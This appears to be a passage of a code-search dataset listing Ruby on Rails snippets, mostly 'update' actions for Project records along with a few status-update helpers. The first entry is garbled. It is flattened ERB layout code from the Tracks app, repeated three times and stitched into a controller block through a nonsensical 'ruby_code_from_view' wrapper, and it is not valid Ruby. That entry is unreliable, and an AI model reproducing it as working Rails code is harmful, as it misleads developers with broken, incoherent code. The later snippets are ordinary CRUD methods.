current_user.prefs.week_starts \n root_url \n if current_user.prefs.refresh != 0 \n current_user.prefs[\"refresh\"].to_i*60000 \n end \n unless controller.controller_name == 'feed' or session['noexpiry'] == \"on\" \nurl_for(:controller => \"login\", :action => \"check_expiry\")\n end \ncheck_deferred_todos_path(:format => 'js')\n generate_i18n_strings \n favicon_link_tag 'favicon.ico' \n favicon_link_tag 'apple-touch-icon.png', :rel => 'apple-touch-icon', :type => 'image/png' \n auto_discovery_link_tag(:rss, {:controller => \"todos\", :action => \"index\", :format => 'rss', :token => \"#{current_user.token}\"}, {:title => t('layouts.next_actions_rss_feed')}) \n search_plugin_path(:format => :xml) \n @page_title \n if @count \n @count \n end \n l(Time.zone.today, :format => current_user.prefs.title_date_format) \n navigation_link(t('layouts.navigation.home'), root_path, {:accesskey => \"t\", :title => t('layouts.navigation.home_title')} ) \n navigation_link(t('layouts.navigation.starred'), tag_path(\"starred\"), :title => t('layouts.navigation.starred_title')) \n navigation_link(t('common.projects'), projects_path, {:accesskey=>\"p\", :title=>t('layouts.navigation.projects_title')} ) \n navigation_link(t('layouts.navigation.tickler'), tickler_path, {:accesskey =>\"k\", :title => t('layouts.navigation.tickler_title')} ) \n t('layouts.navigation.organize') \n navigation_link( t('common.contexts'), contexts_path, {:accesskey=>\"c\", :title=>t('layouts.navigation.contexts_title')} ) \n navigation_link( t('common.notes'), notes_path, {:accesskey => \"o\", :title => t('layouts.navigation.notes_title')} ) \n navigation_link( t('common.review'), review_path, {:accesskey => \"r\", :title => t('layouts.navigation.review_title')} ) \n navigation_link( t('layouts.navigation.recurring_todos'), {:controller => \"recurring_todos\", :action => \"index\"}, :title => t('layouts.navigation.recurring_todos_title')) \n t('layouts.navigation.view') \n navigation_link( t('layouts.navigation.calendar'), calendar_path, :title => t('layouts.navigation.calendar_title')) \n navigation_link( t('layouts.navigation.completed_tasks'), done_overview_path, {:accesskey=>\"d\", :title=>t('layouts.navigation.completed_tasks_title')} ) \n navigation_link( t('layouts.navigation.feeds'), feeds_path, :title => t('layouts.navigation.feeds_title')) \n navigation_link( t('layouts.navigation.stats'), stats_path, :title => t('layouts.navigation.stats_title')) \n link_to(t('layouts.toggle_contexts'), \"#\", {:title => t('layouts.toggle_contexts_title'), :id => \"toggle-contexts-nav\"}) \n link_to(t('layouts.toggle_notes'), \"#\", {:accesskey => \"S\", :title => t('layouts.toggle_notes_title'), :id => \"toggle-notes-nav\"}) \n group_view_by_menu_entry \n t('layouts.navigation.admin') \n navigation_link( t('layouts.navigation.preferences'), preferences_path, {:accesskey => \"u\", :title => t('layouts.navigation.preferences_title')} ) \n navigation_link( t('layouts.navigation.export'), data_path, {:accesskey => \"e\", :title => t('layouts.navigation.export_title')} ) \n navigation_link( t('layouts.navigation.import'), import_data_path, {:accesskey => \"i\", :title => t('layouts.navigation.import_title')} ) \n if current_user.is_admin? \n navigation_link(t('layouts.navigation.manage_users'), users_path, {:accesskey => \"a\", :title => t('layouts.navigation.manage_users_title')} ) \n end \n t('layouts.navigation.help') \n link_to t('layouts.navigation.integrations_'), integrations_path \n link_to t('layouts.navigation.api_docs'), rest_api_docs_path \n navigation_link(image_tag(\"system-search.png\", :size => \"16X16\", :border => 0), search_path, :title => t('layouts.navigation.search')) \n link_to(\"#{t('common.logout')} (#{current_user.display_name}) »\".html_safe, logout_path) \n \n controller.controller_name \n render_flash \n controller.controller_name \n \n object_name = unique_object_name_for(\"update_project_#{@project.id}\")\n\nobject_name\n unless @saved \nobject_name\n js_error_messages_for(@project) \n\n else\n \nt('projects.project_saved_status')\n if source_view_is_one_of(:project_list, :review) \nobject_name\n else # assume source_view :project \nobject_name\n end \n if @state_changed \nobject_name\n else \nobject_name\n end \n@active_projects_count\n@hidden_projects_count\n@completed_projects_count\n @show_active_projects \n @show_hidden_projects \n @show_completed_projects \nobject_name\nobject_name\n escape_javascript(@project.name)\n escape_javascript(@project.name)\n if @project.default_context \n escape_javascript(@project.default_context.name)\n end \n if @project.default_tags \n escape_javascript(@project.default_tags)\n end \nobject_name\n\n # do not remove() edit form as this will remove the DIV\n # that is needed to replace with the new form, so only empty the DIV\n \ndom_id(@project, 'edit')\ndom_id(@project, 'edit')\ndom_id(@project, 'container')\nobject_name\ndom_id(@project)\ndom_id(@project, 'container')\n\n # first add the updated project after the old one, then remove old one.\n # Using html() does not work, because it will replace the _content_ of\n # the container instead of the container itself, i.e. you will get\n # a container within a container which will break drag-and-drop sorting\n \nobject_name\ndom_id(@project, 'container')\ndom_id(@project, 'container')\ndom_id(@project, 'container')\n@project.state\nobject_name\n\n # the following functions return empty string if rendering the partial is not\n # necessary, for example the sidebar is not on the project list page, so do not\n # render it into the function.\n \n source_view_is_one_of(:project_list, :review) ? js_render('project_listing', {:suppress_drag_handle => source_view_is(:review)}, @project) : \"\" \n sidebar_html_for_titled_list(@sidebar.active_projects, t('sidebar.list_name_active_projects'))\n sidebar_html_for_titled_list(@sidebar.active_contexts, t('sidebar.list_name_active_contexts'))\n sidebar_html_for_titled_list(@sidebar.hidden_projects, t('sidebar.list_name_hidden_projects')) if prefs.show_hidden_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.completed_projects, t('sidebar.list_name_completed_projects')) if prefs.show_completed_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.hidden_contexts, t('sidebar.list_name_hidden_contexts')) if prefs.show_hidden_contexts_in_sidebar \n \n source_view_is(:project) ? js_render('project_settings', {}, @project) : \"\" \n end # if @saved \nobject_name\n TRACKS_VERSION \n (link_to(t('layouts.mobile_navigation.full'), todos_path(:format => 'html'))) \n \n\nend\n }\n format.html { redirect_to :action => 'index'}\n format.xml {\n if @saved\n ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n stylesheet_link_tag \"application\", :media => \"all\" \n stylesheet_link_tag \"print\", :media => \"print\" \n javascript_include_tag \"application\" \n csrf_meta_tags \n@source_view\n raw(protect_against_forgery? ? form_authenticity_token.inspect : \"\") \n @tag_name ? @tag_name : \"\" \n @group_view_by ? @group_view_by : \"\" \n default_contexts_for_autocomplete.html_safe rescue '{}' \n default_tags_for_autocomplete.html_safe rescue '{}' \n date_format_for_date_picker \n current_user.prefs.week_starts \n root_url \n if current_user.prefs.refresh != 0 \n current_user.prefs[\"refresh\"].to_i*60000 \n end \n unless controller.controller_name == 'feed' or session['noexpiry'] == \"on\" \nurl_for(:controller => \"login\", :action => \"check_expiry\")\n end \ncheck_deferred_todos_path(:format => 'js')\n generate_i18n_strings \n favicon_link_tag 'favicon.ico' \n favicon_link_tag 'apple-touch-icon.png', :rel => 'apple-touch-icon', :type => 'image/png' \n auto_discovery_link_tag(:rss, {:controller => \"todos\", :action => \"index\", :format => 'rss', :token => \"#{current_user.token}\"}, {:title => t('layouts.next_actions_rss_feed')}) \n search_plugin_path(:format => :xml) \n @page_title \n if @count \n @count \n end \n l(Time.zone.today, :format => current_user.prefs.title_date_format) \n navigation_link(t('layouts.navigation.home'), root_path, {:accesskey => \"t\", :title => t('layouts.navigation.home_title')} ) \n navigation_link(t('layouts.navigation.starred'), tag_path(\"starred\"), :title => t('layouts.navigation.starred_title')) \n navigation_link(t('common.projects'), projects_path, {:accesskey=>\"p\", :title=>t('layouts.navigation.projects_title')} ) \n navigation_link(t('layouts.navigation.tickler'), tickler_path, {:accesskey =>\"k\", :title => t('layouts.navigation.tickler_title')} ) \n t('layouts.navigation.organize') \n navigation_link( t('common.contexts'), contexts_path, {:accesskey=>\"c\", :title=>t('layouts.navigation.contexts_title')} ) \n navigation_link( t('common.notes'), notes_path, {:accesskey => \"o\", :title => t('layouts.navigation.notes_title')} ) \n navigation_link( t('common.review'), review_path, {:accesskey => \"r\", :title => t('layouts.navigation.review_title')} ) \n navigation_link( t('layouts.navigation.recurring_todos'), {:controller => \"recurring_todos\", :action => \"index\"}, :title => t('layouts.navigation.recurring_todos_title')) \n t('layouts.navigation.view') \n navigation_link( t('layouts.navigation.calendar'), calendar_path, :title => t('layouts.navigation.calendar_title')) \n navigation_link( t('layouts.navigation.completed_tasks'), done_overview_path, {:accesskey=>\"d\", :title=>t('layouts.navigation.completed_tasks_title')} ) \n navigation_link( t('layouts.navigation.feeds'), feeds_path, :title => t('layouts.navigation.feeds_title')) \n navigation_link( t('layouts.navigation.stats'), stats_path, :title => t('layouts.navigation.stats_title')) \n link_to(t('layouts.toggle_contexts'), \"#\", {:title => t('layouts.toggle_contexts_title'), :id => \"toggle-contexts-nav\"}) \n link_to(t('layouts.toggle_notes'), \"#\", {:accesskey => \"S\", :title => t('layouts.toggle_notes_title'), :id => \"toggle-notes-nav\"}) \n group_view_by_menu_entry \n t('layouts.navigation.admin') \n navigation_link( t('layouts.navigation.preferences'), preferences_path, {:accesskey => \"u\", :title => t('layouts.navigation.preferences_title')} ) \n navigation_link( t('layouts.navigation.export'), data_path, {:accesskey => \"e\", :title => t('layouts.navigation.export_title')} ) \n navigation_link( t('layouts.navigation.import'), import_data_path, {:accesskey => \"i\", :title => t('layouts.navigation.import_title')} ) \n if current_user.is_admin? \n navigation_link(t('layouts.navigation.manage_users'), users_path, {:accesskey => \"a\", :title => t('layouts.navigation.manage_users_title')} ) \n end \n t('layouts.navigation.help') \n link_to t('layouts.navigation.integrations_'), integrations_path \n link_to t('layouts.navigation.api_docs'), rest_api_docs_path \n navigation_link(image_tag(\"system-search.png\", :size => \"16X16\", :border => 0), search_path, :title => t('layouts.navigation.search')) \n link_to(\"#{t('common.logout')} (#{current_user.display_name}) »\".html_safe, logout_path) \n \n controller.controller_name \n render_flash \n controller.controller_name \n \n object_name = unique_object_name_for(\"update_project_#{@project.id}\")\n\nobject_name\n unless @saved \nobject_name\n js_error_messages_for(@project) \n\n else\n \nt('projects.project_saved_status')\n if source_view_is_one_of(:project_list, :review) \nobject_name\n else # assume source_view :project \nobject_name\n end \n if @state_changed \nobject_name\n else \nobject_name\n end \n@active_projects_count\n@hidden_projects_count\n@completed_projects_count\n @show_active_projects \n @show_hidden_projects \n @show_completed_projects \nobject_name\nobject_name\n escape_javascript(@project.name)\n escape_javascript(@project.name)\n if @project.default_context \n escape_javascript(@project.default_context.name)\n end \n if @project.default_tags \n escape_javascript(@project.default_tags)\n end \nobject_name\n\n # do not remove() edit form as this will remove the DIV\n # that is needed to replace with the new form, so only empty the DIV\n \ndom_id(@project, 'edit')\ndom_id(@project, 'edit')\ndom_id(@project, 'container')\nobject_name\ndom_id(@project)\ndom_id(@project, 'container')\n\n # first add the updated project after the old one, then remove old one.\n # Using html() does not work, because it will replace the _content_ of\n # the container instead of the container itself, i.e. you will get\n # a container within a container which will break drag-and-drop sorting\n \nobject_name\ndom_id(@project, 'container')\ndom_id(@project, 'container')\ndom_id(@project, 'container')\n@project.state\nobject_name\n\n # the following functions return empty string if rendering the partial is not\n # necessary, for example the sidebar is not on the project list page, so do not\n # render it into the function.\n \n source_view_is_one_of(:project_list, :review) ? js_render('project_listing', {:suppress_drag_handle => source_view_is(:review)}, @project) : \"\" \n sidebar_html_for_titled_list(@sidebar.active_projects, t('sidebar.list_name_active_projects'))\n sidebar_html_for_titled_list(@sidebar.active_contexts, t('sidebar.list_name_active_contexts'))\n sidebar_html_for_titled_list(@sidebar.hidden_projects, t('sidebar.list_name_hidden_projects')) if prefs.show_hidden_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.completed_projects, t('sidebar.list_name_completed_projects')) if prefs.show_completed_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.hidden_contexts, t('sidebar.list_name_hidden_contexts')) if prefs.show_hidden_contexts_in_sidebar \n \n source_view_is(:project) ? js_render('project_settings', {}, @project) : \"\" \n end # if @saved \nobject_name\n TRACKS_VERSION \n (link_to(t('layouts.mobile_navigation.full'), todos_path(:format => 'html'))) \n \n\nend\n\n else\n render :text => \"Error on update: #{@project.errors.full_messages.inject(\"\") {|v, e| v + e + \" \" }}\", :status => 409\n end\n }\n end\n\nruby_code_from_view.ruby_code_from_view do |rb_from_view|\n stylesheet_link_tag \"application\", :media => \"all\" \n stylesheet_link_tag \"print\", :media => \"print\" \n javascript_include_tag \"application\" \n csrf_meta_tags \n@source_view\n raw(protect_against_forgery? ? form_authenticity_token.inspect : \"\") \n @tag_name ? @tag_name : \"\" \n @group_view_by ? @group_view_by : \"\" \n default_contexts_for_autocomplete.html_safe rescue '{}' \n default_tags_for_autocomplete.html_safe rescue '{}' \n date_format_for_date_picker \n current_user.prefs.week_starts \n root_url \n if current_user.prefs.refresh != 0 \n current_user.prefs[\"refresh\"].to_i*60000 \n end \n unless controller.controller_name == 'feed' or session['noexpiry'] == \"on\" \nurl_for(:controller => \"login\", :action => \"check_expiry\")\n end \ncheck_deferred_todos_path(:format => 'js')\n generate_i18n_strings \n favicon_link_tag 'favicon.ico' \n favicon_link_tag 'apple-touch-icon.png', :rel => 'apple-touch-icon', :type => 'image/png' \n auto_discovery_link_tag(:rss, {:controller => \"todos\", :action => \"index\", :format => 'rss', :token => \"#{current_user.token}\"}, {:title => t('layouts.next_actions_rss_feed')}) \n search_plugin_path(:format => :xml) \n @page_title \n if @count \n @count \n end \n l(Time.zone.today, :format => current_user.prefs.title_date_format) \n navigation_link(t('layouts.navigation.home'), root_path, {:accesskey => \"t\", :title => t('layouts.navigation.home_title')} ) \n navigation_link(t('layouts.navigation.starred'), tag_path(\"starred\"), :title => t('layouts.navigation.starred_title')) \n navigation_link(t('common.projects'), projects_path, {:accesskey=>\"p\", :title=>t('layouts.navigation.projects_title')} ) \n navigation_link(t('layouts.navigation.tickler'), tickler_path, {:accesskey =>\"k\", :title => t('layouts.navigation.tickler_title')} ) \n t('layouts.navigation.organize') \n navigation_link( t('common.contexts'), contexts_path, {:accesskey=>\"c\", :title=>t('layouts.navigation.contexts_title')} ) \n navigation_link( t('common.notes'), notes_path, {:accesskey => \"o\", :title => t('layouts.navigation.notes_title')} ) \n navigation_link( t('common.review'), review_path, {:accesskey => \"r\", :title => t('layouts.navigation.review_title')} ) \n navigation_link( t('layouts.navigation.recurring_todos'), {:controller => \"recurring_todos\", :action => \"index\"}, :title => t('layouts.navigation.recurring_todos_title')) \n t('layouts.navigation.view') \n navigation_link( t('layouts.navigation.calendar'), calendar_path, :title => t('layouts.navigation.calendar_title')) \n navigation_link( t('layouts.navigation.completed_tasks'), done_overview_path, {:accesskey=>\"d\", :title=>t('layouts.navigation.completed_tasks_title')} ) \n navigation_link( t('layouts.navigation.feeds'), feeds_path, :title => t('layouts.navigation.feeds_title')) \n navigation_link( t('layouts.navigation.stats'), stats_path, :title => t('layouts.navigation.stats_title')) \n link_to(t('layouts.toggle_contexts'), \"#\", {:title => t('layouts.toggle_contexts_title'), :id => \"toggle-contexts-nav\"}) \n link_to(t('layouts.toggle_notes'), \"#\", {:accesskey => \"S\", :title => t('layouts.toggle_notes_title'), :id => \"toggle-notes-nav\"}) \n group_view_by_menu_entry \n t('layouts.navigation.admin') \n navigation_link( t('layouts.navigation.preferences'), preferences_path, {:accesskey => \"u\", :title => t('layouts.navigation.preferences_title')} ) \n navigation_link( t('layouts.navigation.export'), data_path, {:accesskey => \"e\", :title => t('layouts.navigation.export_title')} ) \n navigation_link( t('layouts.navigation.import'), import_data_path, {:accesskey => \"i\", :title => t('layouts.navigation.import_title')} ) \n if current_user.is_admin? \n navigation_link(t('layouts.navigation.manage_users'), users_path, {:accesskey => \"a\", :title => t('layouts.navigation.manage_users_title')} ) \n end \n t('layouts.navigation.help') \n link_to t('layouts.navigation.integrations_'), integrations_path \n link_to t('layouts.navigation.api_docs'), rest_api_docs_path \n navigation_link(image_tag(\"system-search.png\", :size => \"16X16\", :border => 0), search_path, :title => t('layouts.navigation.search')) \n link_to(\"#{t('common.logout')} (#{current_user.display_name}) »\".html_safe, logout_path) \n \n controller.controller_name \n render_flash \n controller.controller_name \n \n object_name = unique_object_name_for(\"update_project_#{@project.id}\")\n\nobject_name\n unless @saved \nobject_name\n js_error_messages_for(@project) \n\n else\n \nt('projects.project_saved_status')\n if source_view_is_one_of(:project_list, :review) \nobject_name\n else # assume source_view :project \nobject_name\n end \n if @state_changed \nobject_name\n else \nobject_name\n end \n@active_projects_count\n@hidden_projects_count\n@completed_projects_count\n @show_active_projects \n @show_hidden_projects \n @show_completed_projects \nobject_name\nobject_name\n escape_javascript(@project.name)\n escape_javascript(@project.name)\n if @project.default_context \n escape_javascript(@project.default_context.name)\n end \n if @project.default_tags \n escape_javascript(@project.default_tags)\n end \nobject_name\n\n # do not remove() edit form as this will remove the DIV\n # that is needed to replace with the new form, so only empty the DIV\n \ndom_id(@project, 'edit')\ndom_id(@project, 'edit')\ndom_id(@project, 'container')\nobject_name\ndom_id(@project)\ndom_id(@project, 'container')\n\n # first add the updated project after the old one, then remove old one.\n # Using html() does not work, because it will replace the _content_ of\n # the container instead of the container itself, i.e. you will get\n # a container within a container which will break drag-and-drop sorting\n \nobject_name\ndom_id(@project, 'container')\ndom_id(@project, 'container')\ndom_id(@project, 'container')\n@project.state\nobject_name\n\n # the following functions return empty string if rendering the partial is not\n # necessary, for example the sidebar is not on the project list page, so do not\n # render it into the function.\n \n source_view_is_one_of(:project_list, :review) ? js_render('project_listing', {:suppress_drag_handle => source_view_is(:review)}, @project) : \"\" \n sidebar_html_for_titled_list(@sidebar.active_projects, t('sidebar.list_name_active_projects'))\n sidebar_html_for_titled_list(@sidebar.active_contexts, t('sidebar.list_name_active_contexts'))\n sidebar_html_for_titled_list(@sidebar.hidden_projects, t('sidebar.list_name_hidden_projects')) if prefs.show_hidden_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.completed_projects, t('sidebar.list_name_completed_projects')) if prefs.show_completed_projects_in_sidebar \n sidebar_html_for_titled_list(@sidebar.hidden_contexts, t('sidebar.list_name_hidden_contexts')) if prefs.show_hidden_contexts_in_sidebar \n \n source_view_is(:project) ? js_render('project_settings', {}, @project) : \"\" \n end # if @saved \nobject_name\n TRACKS_VERSION \n (link_to(t('layouts.mobile_navigation.full'), todos_path(:format => 'html'))) \n \n\nend\n\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path() }\n format.xml { head :ok }\n else\n @edit_mode = true\n @tasks = Task.find_all_by_project_id(@project.id)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @unfinished_project = UnfinishedProject.find(params[:id])\n\n respond_to do |format|\n if @unfinished_project.update_attributes(params[:unfinished_project])\n format.html { redirect_to @unfinished_project, notice: 'Unfinished project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @unfinished_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_project_status(project, url, hash, status, description)\n path = @path_prefix + \"/statuses/#{hash}\"\n context = project.github_status_context\n dict = {\n target_url: url,\n state: status,\n description: description,\n context: context\n }\n make_request(path, false, dict)\n end",
"def update_key_status\n self.key.update_status(self.lang)\n end",
"def update\n if @project.update(project_params)\n flash[:notice] = I18n.t('project.update')\n redirect_to organization_projects_path(@organization)\n else\n render 'edit'\n end\n end",
"def update\n if @project.update(project_params)\n redirect_to @project, notice: I18n.t('flash.actions.project.update.notice')\n else\n render :edit \n end\n end",
"def update\n @translation = Translation.find(params[:id])\n @translation.update_attributes(params[:translation])\n respond_with @translation\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @namespace, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :show }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_project_completed\n respond_to do |format|\n format.json {\n @project = Project.find_by_id(params[:payload][:project])\n\n if @project\n @project.update_attribute(:completed, true)\n @project.save\n render :json => @project\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def status_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'StatusProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:query]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n prepare\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: \"#{I18n.t 'project.project_updated'}\"}\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @unapproved_project.approve\n flash[:notice] = 'Project has been approved.'\n format.html { redirect_to(unapproved_projects_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @unapproved_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_updates\n @project = Project.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n activity = current_user.create_activity(@project, 'updated')\n activity.user_id = current_user.id\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @locale_entry.assign_attributes(update_params)\n\n @locale_entry.translated = true\n @locale_entry.translator = current_user\n\n @locale_entry.save\n respond_with @source_entry, @locale_entry, location: glossary_url\n end",
"def update\n @project = Project.find(params[:id])\n\n if @project.update_attributes(params[:project])\n flash[:notice] = t('projects.update.notice')\n redirect_to(@project)\n else\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to([@project.user, @project], :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end",
"def status_translations\n @status_translations ||= Assembla.statuses['ticket_statuses']\nend",
"def update_project\n\t\t@project = Project.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @project.update_attributes(project_update_params)\n\t\t format.html { redirect_to(@project, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@project) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@project) }\n\t\t end\n\n \t end\n\tend",
"def join_project_status\n unless @public_mode\n @data['project_status'] = @data['private']['project_status']\n end\n @data['private'].delete 'project_status'\n end",
"def update\n authenticate_user!\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateEdit\n id_t = params[:project][:editItem][:id]\n new_state = params[:project][:editItem][:new_state]\n puts \"id_t: \" + id_t\n @project_edit = ProjectEdit.find_by(id: id_t)\n @project_edit.update(:aasm_state => new_state)\n puts @project_edit.description\n if new_state == \"accepted\"\n @project.description = @project_edit.description\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render json: @project, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end\n\n\n\n if new_state == \"rejected\"\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render json: @project, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end\n\n\n end",
"def update\n @project = Project.find(params[:id])\n #@old_repo = @project.repo_name\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n if @project.github_token? && @project.repo_name?\n create_hook\n end\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n flash[:notice] = 'Project was successfully updated.' if @project.update(project_params)\n respond_with @project\n end",
"def update\n if @project.update_attributes(params[:project])\n respond_to do |format|\n format.html do\n flash[:notice] = 'Project was saved.'\n redirect_to project_path(@project)\n end\n end\n else\n respond_to do |format|\n format.html { render :action => 'edit' }\n end\n end\n end",
"def change_job_status_from_details\n @project_job = @current_organization.project_jobs.find(params[:id])\n if params[:status].present?\n if @project_job.status.present? && @project_job.status != params[:status]\n @project_job.update_column(:status, params[:status])\n @project_job.check_or_upgrade_project_stage \n create_comment_activity(\"<b>\"+params[:status]+ \"</b> the Task\")\n create_in_app_notification(\"Update\", \"Job status changed to #{params[:status]}\")\n Activity.create(:organization_id => @project_job.organization_id, :activity_user_id => @current_user.id, :activity_type => @project_job.class.name, :activity_id => @project_job.id, :activity_status => \"StatusChanged\", :activity_desc => \"Job status changed to #{params[:status]}\", :activity_date => @project_job.updated_at, :is_public => true, :source_id => @project_job.project.id,:source_type => @project_job.project.class.name)\n end\n end\n render partial: \"project_job_status_bar\"\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to :controller => \"misc\", :action =>\"about\", notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n if @project.update(project_params)\n flash[:success] = \"Project was updated succcessfully\"\n redirect_to project_path(@project)\n else\n render 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_update_params)\n format.html { redirect_to @project, notice: 'Projeto atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(projects_path, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n \t\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(project_path(@project)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n @project = Project.find_by(url: params[:id])\n\n respond_to do |format|\n if @project.update(permitted_params)\n format.html { redirect_to(@project, flash: { success: 'Project was successfully updated.' }) }\n format.xml { head :ok }\n else\n format.html { render action: :edit }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to projects_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @current_project = CurrentProject.find(params[:id])\n\n respond_to do |format|\n if @current_project.update_attributes(params[:current_project])\n flash[:notice] = 'CurrentProject was successfully updated.'\n format.html { redirect_to(@current_project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @current_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Proyecto actualizado sastifactoriamente' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @workspaces = current_user.workspaces\n @project = Project.find(params[:id])\n @workspace = Workspace.find(params[:workspace_id])\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to workspace_project_tasks_path(@workspace , @project), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to project_url(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors.to_xml }\n end\n end\n end",
